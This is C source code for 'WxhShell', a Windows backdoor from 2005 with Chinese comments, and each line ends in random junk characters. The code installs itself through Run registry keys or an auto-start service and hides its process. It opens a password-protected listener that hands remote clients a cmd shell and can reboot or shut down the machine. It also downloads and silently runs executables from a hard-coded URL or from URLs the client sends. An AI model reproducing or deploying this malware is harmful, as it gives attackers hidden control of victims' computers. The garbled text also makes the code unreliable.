    ExitThread(0); UV']NH h  
    } Lo9G4Cu  
    break; z^rhgs?4  
    } h;%i/feFg  
  // 关机 :'y{dbKp"  
  case 'd': { <r<Dmn|\a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j!x<QNNX  
    if(Boot(SHUTDOWN)) J-tq8   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p:JRQT"A  
    else { hD6JW-  
    closesocket(wsh); R+{^@M&  
    ExitThread(0); Y@]);MyL  
    } 7a:*Y"f,~  
    break; #7]o6  
    } W(2+z5z  
  // 获取shell qE0FgqRB  
  case 's': { <mZrR3v'D  
    CmdShell(wsh); X a"XB  
    closesocket(wsh); lI4J=8O0  
    ExitThread(0); Q+b.-iWR  
    break; "7kgez#Y  
  } mQJ4;BJw  
  // 退出 2y+70(E1  
  case 'x': { N.0HfYf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ht|",1yr+  
    CloseIt(wsh); $N;"}G z  
    break; >*`>0Q4y  
    } H DF"]l;  
  // 离开 3}B5hht "D  
  case 'q': { ADYx.8M|9i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8cK\myn.  
    closesocket(wsh); /M^V 2=  
    WSACleanup(); 'Aj(i/CM  
    exit(1); s(AJkO'`  
    break; |66m` <  
        } fJLf7+q  
  } #\pP2  
  } H(15vlOD  
cy)k<?,  
  // 提示信息 I9}+(6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :tMre^oP  
} R}DX(T,K  
  } x.b; +p}=  
$ViojW>  
  return; 4}Q O!(  
} '7xxCj/*  
':l"mkd+`  
// shell模块句柄 .pZo(*  
int CmdShell(SOCKET sock) #PPR"w2g  
{ 3ppuQ Q  
STARTUPINFO si; &/](HLdF  
ZeroMemory(&si,sizeof(si)); 8[{|xh(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !2}rtDE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #)GW}U]X  
PROCESS_INFORMATION ProcessInfo; WP0 #i~3*  
char cmdline[]="cmd"; la'e[t7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z#-k.|}  
  return 0; cz2,",+~  
} \O kc5;kB2  
S dIGU[fm  
// 自身启动模式 j%pCuC&"  
int StartFromService(void) =/6p#d*0  
{ M^z=1YrMd  
typedef struct \Yj#2ww  
{ 96c"I;\GXX  
  DWORD ExitStatus; [ njx7d  
  DWORD PebBaseAddress; XtCoX\da  
  DWORD AffinityMask; Z^s+vi  
  DWORD BasePriority; 3->,So0Y  
  ULONG UniqueProcessId; y7/PDB\he  
  ULONG InheritedFromUniqueProcessId; }0QN[$H!  
}   PROCESS_BASIC_INFORMATION; f hQy36i@  
'pan9PW  
PROCNTQSIP NtQueryInformationProcess; XwcMt r*  
3brb*gI_b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  bH*@,EE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 42fprt  
&yE1U#J(  
  HANDLE             hProcess; $+Vmwd;  
  PROCESS_BASIC_INFORMATION pbi; '!!e+\h#  
Sv7 i! j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  bRNK.[|  
  if(NULL == hInst ) return 0; @ ]f3| >I  
u7HvdLql  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %yiD~&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |/VL35b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uz 0W <u3v  
tp Xa*6  
  if (!NtQueryInformationProcess) return 0; NCa~#i:F8  
BI};"y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `dDa}b  
  if(!hProcess) return 0; 2\VAmPG.Zs  
Yx5J$!Ld  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4E2yH6l  
ejVdxVr\7  
  CloseHandle(hProcess); F\5X7 ditD  
WSQ[.C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {O)YwT$`  
if(hProcess==NULL) return 0; MY!q%  
\yNQQ$B  
HMODULE hMod; lW p~t  
char procName[255]; EYkj@ .,  
unsigned long cbNeeded; wf?u (3/%  
n@ 4@,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4r\*@rq  
eOt%xTx  
  CloseHandle(hProcess); .`,F  
Uo2+:p  
if(strstr(procName,"services")) return 1; // 以服务启动 Vvyj  
QC{u|  
  return 0; // 注册表启动 mzGjRl=O  
} 1?(cmXj  
*(G&B\  
// 主模块 ahA{B1M)n  
int StartWxhshell(LPSTR lpCmdLine) -0$:|p?@^  
{ 7rcA[)<'  
  SOCKET wsl; ^ Hg/P8q  
BOOL val=TRUE; eIg+PuQD]  
  int port=0; f])M04<  
  struct sockaddr_in door; 87i"   
f ba&`  
  if(wscfg.ws_autoins) Install(); T"?Y5t`(  
jv =EheD  
port=atoi(lpCmdLine); ic E|.[  
.s2$al  
if(port<=0) port=wscfg.ws_port; G}VDEC  
o@9+mM"B)  
  WSADATA data; w?*z^y@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;1 |x  
~^&R#4J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   II;Te7~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~.Cv DJy  
  door.sin_family = AF_INET; HY;9?KJ'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o)&"Rf  
  door.sin_port = htons(port); GRT] aw  
3pSj kS|?>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8Atq,GcG  
closesocket(wsl); jH>8bXQqZ  
return 1; ;3;2h+U*  
} i@5 )` <?  
WULAty  
  if(listen(wsl,2) == INVALID_SOCKET) { =A@>I0(7  
closesocket(wsl); qZ*f%L(  
return 1; +~Tu0?{Z 0  
} ZIpD{>/  
  Wxhshell(wsl); q8>t!rh<R  
  WSACleanup(); R4{-Qv#8 q  
E1  |<Pt  
return 0; "_< 9PM1t  
8[zb{PRu  
} >;4!O%F  
v vq/  
// 以NT服务方式启动 p|3b/plZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #f{lC0~vA  
{ :+ Jt^ 6  
DWORD   status = 0; T#EFXHPr  
  DWORD   specificError = 0xfffffff; L0Y0&;y|R  
=gjDCx$|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 53Yxz3v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I[0!S IqY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _?`&JF?*  
  serviceStatus.dwWin32ExitCode     = 0; gKo%(6{n~  
  serviceStatus.dwServiceSpecificExitCode = 0; pu9^e4B9  
  serviceStatus.dwCheckPoint       = 0; 7Xg?U'X  
  serviceStatus.dwWaitHint       = 0; WC*=rWRxF  
rrqQCn9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wd8R u/  
  if (hServiceStatusHandle==0) return; Gb2L }  
4^*,jS-9g}  
status = GetLastError(); q .J sf+  
  if (status!=NO_ERROR) &|9.}Z8U  
{ h2~4G)J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9b"MQ[B4#a  
    serviceStatus.dwCheckPoint       = 0; UDEj[12S  
    serviceStatus.dwWaitHint       = 0; tfYB_N  
    serviceStatus.dwWin32ExitCode     = status; _=EKXE)&}  
    serviceStatus.dwServiceSpecificExitCode = specificError; C ^w)|2o}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5o)Y$>T0  
    return; 8Pmdk1 ~  
  } 0;<)\Wt=i9  
4)kG-[#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^/@jwZ  
  serviceStatus.dwCheckPoint       = 0; w1 `QIv  
  serviceStatus.dwWaitHint       = 0; $f$|6jM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sy/nESZs  
} sOBu7!G%  
f>polxB%N  
// 处理NT服务事件,比如:启动、停止 K j3?ve~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ' cBBt  
{ $ s-Y%gc  
switch(fdwControl) PuL<^aJ  
{ Z=?aEU$7  
case SERVICE_CONTROL_STOP: S`!-Cal`n  
  serviceStatus.dwWin32ExitCode = 0; ik.A1j9oN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vLT0ETHg6  
  serviceStatus.dwCheckPoint   = 0; ZnW@YC#9  
  serviceStatus.dwWaitHint     = 0; V}WB*bE  
  { Bv6 K$4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); By)u-)g9  
  } y<:<$22O  
  return; z>m=h)9d~  
case SERVICE_CONTROL_PAUSE: P7.'kX9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i-" p)2d=#  
  break; 9'[ N1Un.=  
case SERVICE_CONTROL_CONTINUE: }ns-W3B'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (R!hjw~  
  break; -0C@hM,wm  
case SERVICE_CONTROL_INTERROGATE: @-&MA)SN  
  break; T-_"|-k}P%  
}; B<?w h0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Ot~!AlR  
} RY9V~8|M  
c{3wk7  
// 标准应用程序主函数 E"~2./+rd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qS| \JG  
{ T>`74B:  
QHq,/kWY  
// 获取操作系统版本 72W s K"  
OsIsNt=GetOsVer(); zfA GtT <  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a^U~0i@[S  
~;]W T  
  // 从命令行安装 nkfZiyx  
  if(strpbrk(lpCmdLine,"iI")) Install(); l{j~Q^U})  
*{ {b~$  
  // 下载执行文件 b^0}}12  
if(wscfg.ws_downexe) { Jl3g{a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'cix`l|^  
  WinExec(wscfg.ws_filenam,SW_HIDE); G<|8?6bq#  
} 2-N 'ya  
"VG+1r+]4  
if(!OsIsNt) { %D g0fL  
// 如果时win9x,隐藏进程并且设置为注册表启动 @Fp_^5  
HideProc(); EJ@p-}I!  
StartWxhshell(lpCmdLine); 4db(<h  
} *z*uEcitW  
else c2t=_aAIPQ  
  if(StartFromService()) . mLK`c6  
  // 以服务方式启动 f y:,_#  
  StartServiceCtrlDispatcher(DispatchTable); myl+J;,]  
else +Z M)bbB  
  // 普通方式启动 Qv,"($n\  
  StartWxhshell(lpCmdLine); ?']5dD  
w-wV3Q6X  
return 0; i0$Bx>  
} *t[. =_v  
E :9"cxx  
#S&Tkip]"W  
/DQaGq/Ld  
=========================================== J_x13EaV0  
CHrFM@CM  
,(8;y=wux  
( +pLA"xq  
aT>'.*\]  
mGp.3{j  
" if|+EN%  
OxI/%yv-c  
#include <stdio.h> QnZcBXI8  
#include <string.h> |7yAX+  
#include <windows.h> P9g en6  
#include <winsock2.h> ![]`` g2  
#include <winsvc.h> i;LXu%3\  
#include <urlmon.h> z9FfU  
g35DV6  
#pragma comment (lib, "Ws2_32.lib") :8CvRO*<  
#pragma comment (lib, "urlmon.lib") 1$M@]7e+!+  
wr[,  
#define MAX_USER   100 // 最大客户端连接数 At7>V-f}  
#define BUF_SOCK   200 // sock buffer ^6_e=jIN  
#define KEY_BUFF   255 // 输入 buffer UfN&v >8f  
KMI_zhyB  
#define REBOOT     0   // 重启 0"CG7Vg,zh  
#define SHUTDOWN   1   // 关机 .pvi!NnL-  
LaQ-=;(`  
#define DEF_PORT   5000 // 监听端口 yKYTi3_(  
Hemq +]6^  
#define REG_LEN     16   // 注册表键长度 o.0ci+z@  
#define SVC_LEN     80   // NT服务名长度 WI?oSE w  
u%w`:v7Yo(  
// 从dll定义API {&jb5-*f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v?KC%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M$Zcn#A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D6>HN[D"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T:5fc2Ngv  
Z .92y  
// wxhshell配置信息 $2W%2rZ  
struct WSCFG { (p2K36,9m  
  int ws_port;         // 监听端口 UK<Nj<-'t  
  char ws_passstr[REG_LEN]; // 口令 :yUEkm8  
  int ws_autoins;       // 安装标记, 1=yes 0=no N5a*7EJv+  
  char ws_regname[REG_LEN]; // 注册表键名 bbrXgQ`s+w  
  char ws_svcname[REG_LEN]; // 服务名 c-B cA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vI>>\ .ED  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .zi_[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  o4|M0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !o:f$6EA~C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]H`1F1=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6@rMtQfI  
XUz3*rfs  
}; 8C*c{(4  
3AU;>D^5  
// default Wxhshell configuration Kx>qz.wwI?  
struct WSCFG wscfg={DEF_PORT, Pi]19boM.  
    "xuhuanlingzhe", xai*CY@cQ  
    1, _f$^%?^  
    "Wxhshell", a!=D[Gz*5  
    "Wxhshell", BO;6 u^[  
            "WxhShell Service", \ExMk<y_&  
    "Wrsky Windows CmdShell Service", r"P|dlV-  
    "Please Input Your Password: ", KET2Ws[w  
  1, r>o63Q:  
  "http://www.wrsky.com/wxhshell.exe", D)L+7N0D~  
  "Wxhshell.exe" DGS$Ukz&T  
    }; '.:z&gSqx0  
6}d.5^7lr  
// 消息定义模块 o,_? ^'@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n*2UnKaJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xu%'Z".>:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MF5[lK9e  
char *msg_ws_ext="\n\rExit."; ML|FQ  
char *msg_ws_end="\n\rQuit."; RW<D<5C  
char *msg_ws_boot="\n\rReboot..."; <g"{Wv: h  
char *msg_ws_poff="\n\rShutdown..."; Y$"O VC  
char *msg_ws_down="\n\rSave to "; bbE!qk;hEP  
U~:-roQ(\  
char *msg_ws_err="\n\rErr!"; Dfmjw  
char *msg_ws_ok="\n\rOK!"; hb}+A=A=+  
g:hjy@ w  
char ExeFile[MAX_PATH]; 5>[u `  
int nUser = 0; ?8'*,bK  
HANDLE handles[MAX_USER]; ~"nxE  
int OsIsNt; .+$ Q<L  
'Gj3:-xqL  
SERVICE_STATUS       serviceStatus; 32&;`]C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M/b Sud?@%  
a<^v(r  
// 函数声明 ~E17L]ete  
int Install(void); 3LOdjT J  
int Uninstall(void); e"|efE  
int DownloadFile(char *sURL, SOCKET wsh); KVclhT<F  
int Boot(int flag); ]'&LGA`  
void HideProc(void); '=b/6@&  
int GetOsVer(void); {*G9|#[/@  
int Wxhshell(SOCKET wsl); ].-1v5  
void TalkWithClient(void *cs); h`^jyoF"(  
int CmdShell(SOCKET sock); dYJ(!V&  
int StartFromService(void); y [}.yyye  
int StartWxhshell(LPSTR lpCmdLine); UtoT  
F3On?x)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Te"ioU?.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k\5c|Wq|g  
~%&LTX0s|  
// 数据结构和表定义 La`NPY_:>  
SERVICE_TABLE_ENTRY DispatchTable[] = H#,W5EJzM  
{ KcWN,!G  
{wscfg.ws_svcname, NTServiceMain}, l+KY)6o  
{NULL, NULL} *4\:8  
}; V% rzk*LA  
@>,^":`#  
// 自我安装 ]cHgleHQ  
int Install(void) +r2+X:#~T  
{ q'T4w!V(V  
  char svExeFile[MAX_PATH]; >mwlsL~X  
  HKEY key; e"{{ TcNk  
  strcpy(svExeFile,ExeFile); hOjk3 k  
j#!IuH\]  
// 如果是win9x系统,修改注册表设为自启动 cr7 }^s  
if(!OsIsNt) { _kef 0K6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M?1Y,5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =^M/{51j  
  RegCloseKey(key); L/$H"YOv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { glO^yZs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ag-(5:  
  RegCloseKey(key); , qMzWa  
  return 0; fK>L!=Q  
    } slCx w$  
  } }Y12  
} n(1l}TJy  
else {  -*1d!  
R0KPZv-  
// 如果是NT以上系统,安装为系统服务 ?gA 8x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )|ju~qbf  
if (schSCManager!=0) P) Jgs  
{ ` Fa~  
  SC_HANDLE schService = CreateService kMIcK4.MH  
  ( 8V'~UzK  
  schSCManager, zu_8># i-  
  wscfg.ws_svcname, n@<YI  
  wscfg.ws_svcdisp, }|h# \$w  
  SERVICE_ALL_ACCESS, Ua:}Vn&!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I fK,b*%  
  SERVICE_AUTO_START, f z'@_4hg  
  SERVICE_ERROR_NORMAL, LBw1g<&  
  svExeFile, g];!&R-  
  NULL, p_RsU`[  
  NULL, >^u2cAi3[  
  NULL, Snj'y,p[  
  NULL, ~[t[y~Hup  
  NULL Cjn#00  
  ); h79}qU  
  if (schService!=0) Z@4Ar fl  
  { ` 'DmDg  
  CloseServiceHandle(schService); 5AFJC?   
  CloseServiceHandle(schSCManager); k =>oO9`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .Y tKS  
  strcat(svExeFile,wscfg.ws_svcname); w'>pY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R$R *'l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !z\h| wU+  
  RegCloseKey(key); \1k79c  
  return 0; Hus)c3Ty7  
    } s:n6rG  
  } S\CCrje  
  CloseServiceHandle(schSCManager); ?qb}?&1  
} (d(CT;  
} Amtq"<h9a  
wW Lj?;bx  
return 1; 6fkRrD  
} 0CHH)Bku  
Akq2 d;  
// 自我卸载 Z%gh3  
int Uninstall(void) 6_(&6]}66  
{ d-oMQGOklb  
  HKEY key; { a =#B)6  
W_JlOc!y  
if(!OsIsNt) { ld[I}88$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tR# OjkvX  
  RegDeleteValue(key,wscfg.ws_regname); '+@=ILj>  
  RegCloseKey(key); akmkyrz'&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #$.;'#u'so  
  RegDeleteValue(key,wscfg.ws_regname); KqHyG  
  RegCloseKey(key); em y[k  
  return 0; bTI|F]^!  
  } ?>VLTp8]  
} dB{Q" !  
} l|u>Tb|V  
else { !Lu2  
]}V<*f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V.U| #n5  
if (schSCManager!=0) Z3Og=XHR  
{ atj(eg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?al'F  q  
  if (schService!=0) 4VHn  \  
  { ><4<yj1  
  if(DeleteService(schService)!=0) { !Mx$A$Oj>  
  CloseServiceHandle(schService); QFA8N  
  CloseServiceHandle(schSCManager); T~-ycVc  
  return 0; ,<.V7(|t)  
  } _5w]a 2  
  CloseServiceHandle(schService); D ;RiGW4  
  } |44Ploz2b  
  CloseServiceHandle(schSCManager); |NlO7aQ>2H  
} ~?l | [  
} +V2F#fI/  
\UA[  
return 1; (|2t#'m  
} ."g`3tVK  
t^&Cxh  
// 从指定url下载文件 [:dY0r+  
int DownloadFile(char *sURL, SOCKET wsh) pd?M f=>#  
{ G0Iw-vf  
  HRESULT hr; M*0]ai|;  
char seps[]= "/"; [DuttFX^x  
char *token; :'Vf g[Uq  
char *file; )705V|v  
char myURL[MAX_PATH]; TP*hd  
char myFILE[MAX_PATH]; vz&|J   
7P } W *  
strcpy(myURL,sURL); 9i:L&dN  
  token=strtok(myURL,seps); 5=-Q4d  
  while(token!=NULL) yNPVOp*  
  { IW5,7.  
    file=token; cTifC1Pf  
  token=strtok(NULL,seps); "69s) ~  
  } t5Sy V:fP  
Q3'llOx  
GetCurrentDirectory(MAX_PATH,myFILE); +w`2kv  
strcat(myFILE, "\\"); w?L6!)oiz  
strcat(myFILE, file); #<fRE"v:Q  
  send(wsh,myFILE,strlen(myFILE),0); ZtNN<7  
send(wsh,"...",3,0); i$Ul(?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cZ,b?I"Q%  
  if(hr==S_OK) wLIMv3;k  
return 0; soxc0OlN  
else gb1V~  
return 1; L;z?a Z7n  
rSY!vkLE\  
} 2DA]i5  
3Tcms/n  
// 系统电源模块 Da*?x8sSL  
int Boot(int flag) w7L{_aom  
{ \  #F  
  HANDLE hToken; kdiM5l70  
  TOKEN_PRIVILEGES tkp; Z-%\ <zT  
ic:zsuEm  
  if(OsIsNt) { b`Zx!^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lf|FWqqV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z(ONv#}p  
    tkp.PrivilegeCount = 1; [jQp~&nY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x8 2cT21b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9c bd~mM{  
if(flag==REBOOT) { "Fr.fhh'~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ah~cwmpS  
  return 0; B`)BZ,#p  
} |d2SIyUc  
else { dFxIF;C>/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NWESP U):w  
  return 0; /8'NG6"H`  
} >Er|Jxy  
  } c^xIm'eob  
  else { ,L2ZinU:  
if(flag==REBOOT) { l\H=m3Bg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d0!5j  
  return 0; 5Pc;5 o0C  
} Qp5VP@t  
else { ;+R&}[9,A)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :LQYo'@yB  
  return 0; ZDJ`qJ8V  
} ,Fl)^Gl8?  
} gx/,)> E.  
=ZznFVJ`={  
return 1; dES"@?!^  
} Evq IcZ  
J[|y:N  
// win9x进程隐藏模块 y-b%T|p9  
void HideProc(void) 1s&zMWC  
{ u/0h$l  
k9R4Y\8P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NN{?z!  
  if ( hKernel != NULL ) tKuwpT1Qc  
  { "S]0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X,% 0/6*]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !PlEO 2at  
    FreeLibrary(hKernel); Dj?> <@  
  } 9rX&uP)j^#  
$99n&t$Y  
return; @gEUm_#HTs  
} D/gw .XYL  
.hb:s,0mP  
// 获取操作系统版本 5 V~oIL  
int GetOsVer(void) C 82omL  
{ Qy<P463A(l  
  OSVERSIONINFO winfo; wU36sCo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~vhE|f  
  GetVersionEx(&winfo); Q$W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O:R*rJ  
  return 1; ,8uqdk-D  
  else s\(k<Ks  
  return 0; |^I0dR/w:  
}  _"yh.N&  
pU}(@oy  
// 客户端句柄模块 !-x$L>1$  
int Wxhshell(SOCKET wsl) Ta0|+IYk<  
{ ?!:ha;n  
  SOCKET wsh; iuW[`ou X  
  struct sockaddr_in client; tY<4%~%X  
  DWORD myID;  DPxM'7  
B]wk+8SMY.  
  while(nUser<MAX_USER) H2\;%K 2  
{ .VJMz4$]O  
  int nSize=sizeof(client); ZQsJL\x[UK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1=c\Rr9]  
  if(wsh==INVALID_SOCKET) return 1; &{hL&BLr  
L#{S!P,"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OZF rtc+  
if(handles[nUser]==0) M)+H{5bt  
  closesocket(wsh); /Iy]DU8  
else SM#]H-3  
  nUser++; !Pvf;rNI1T  
  } VcYrK4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ek\ xx  
rU:`*b<  
  return 0; /t57!&  
} R?|.pq/Ln  
t9`.bx8  
// 关闭 socket #Y`~(K47  
void CloseIt(SOCKET wsh) [({nj`  
{ AT 3cc  
closesocket(wsh); {\"x3;3!6  
nUser--; %lhEM}Sm  
ExitThread(0); \ZFGw&yN  
} kx{{_w  
,4e:I.b  
// 客户端请求句柄 G6P?2@  
void TalkWithClient(void *cs) H5B:;g@  
{ iC32nY?  
ZY55|eE  
  SOCKET wsh=(SOCKET)cs; P6`u._mX  
  char pwd[SVC_LEN]; iN\4gQ!  
  char cmd[KEY_BUFF]; zkrM/ @p#  
char chr[1]; 6 7.+ .2  
int i,j; [Td4K.c  
iL&fgF"'  
  while (nUser < MAX_USER) { 6r0krbN  
%D34/=(X  
if(wscfg.ws_passstr) { {SPq$B_VR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BLdvyVFx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }O5i/#.lR  
  //ZeroMemory(pwd,KEY_BUFF); PI)+Jr%L  
      i=0; (O?.)jEW(.  
  while(i<SVC_LEN) { d#Y^>"|$.  
rSk >  
  // 设置超时 29"'K.r  
  fd_set FdRead; W~; `WR;.  
  struct timeval TimeOut; Lc,Pom  
  FD_ZERO(&FdRead); ~9]hV7y5C  
  FD_SET(wsh,&FdRead); Qh3YJ=X&  
  TimeOut.tv_sec=8; |Nn)m  
  TimeOut.tv_usec=0; RDi]2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o Q2Fjj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Bp.RXsd*  
Pb4X\9^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M61xPq8y5  
  pwd=chr[0]; =pO^7g  
  if(chr[0]==0xd || chr[0]==0xa) { $E~`\o%Ev  
  pwd=0; m|n%$$S&  
  break; X,_2FJv  
  } cWaSn7p!X  
  i++; I\{ 1u  
    } XGWSdPJLr  
9'giU r  
  // 如果是非法用户,关闭 socket n8 i] z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @7]yl&LZ  
} oy=js -  
1\ ~ "VF*{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ? 7n`A >T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =_2jK0+}l  
,t?B+$E  
while(1) { |(E FY\  
rC%*$g $  
  ZeroMemory(cmd,KEY_BUFF); 4N_R:B-V u  
O!#g<`r{K  
      // 自动支持客户端 telnet标准   +H-6eP  
  j=0; 9G#n 0&wRJ  
  while(j<KEY_BUFF) { DDP/DD;n}r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xd?f2=dd~h  
  cmd[j]=chr[0]; m)t;9J5  
  if(chr[0]==0xa || chr[0]==0xd) { b9J_1Gl]  
  cmd[j]=0; ]"hFC<w  
  break; OJuG~euy  
  } z6=Z\P+  
  j++; Ts[_u@   
    } kR-SE5`Jk  
Nho>f  
  // 下载文件 6:[dj*KGmT  
  if(strstr(cmd,"http://")) { VU(v3^1"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fI}to&qk  
  if(DownloadFile(cmd,wsh)) -`kW&I0  
